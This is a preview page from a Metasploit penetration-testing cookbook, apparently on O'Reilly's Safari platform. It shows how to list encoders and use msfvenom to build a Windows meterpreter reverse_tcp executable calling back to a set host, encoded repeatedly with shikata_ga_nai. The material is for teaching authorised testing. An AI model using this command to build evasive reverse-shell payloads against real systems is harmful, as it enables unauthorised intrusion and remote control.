O'Reilly logo

Metasploit Penetration Testing Cookbook - Third Edition by Monika Agarwal, Abhinav Singh, Daniel Teixeira

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

How to do it...

  1. By using MSFconsole with the show encoders option, or by browsing to the /usr/share/metasploit-framework/modules/encoders/ folder in our Kali Linux machine, we can see all the encoders available on the Metasploit Framework:
msf > show encoders
  1. To encode one of our previous payloads, we simple add the -e option, followed by the encoder we want to use, and, if we so choose, we can use the -i option, followed by the number of times to encode the payload:
msf > msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.216.5 -f exe -e x86/shikata_ga_nai -i 10 -o encoded.exe[*] exec: msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.216.5 -f exe -e x86/shikata_ga_nai ...

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required